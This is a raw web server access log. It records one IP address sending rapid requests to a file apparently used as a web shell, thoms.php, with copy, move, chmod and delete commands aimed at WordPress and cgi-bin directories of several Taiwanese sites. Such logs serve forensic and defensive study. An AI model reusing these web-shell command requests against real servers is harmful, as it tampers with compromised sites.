45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /upgrade-20260912023806/ HTTP/1.1" 200 6470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?chmod=upgrade-20260912023806&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade-20260912023806&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:15 -0400] "GET /thoms.php?copy=upgrade-20260912023806&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade-20260912023806&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?del=upgrade-20260912023806&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade-20260912023806&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:16 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:17 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:18 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
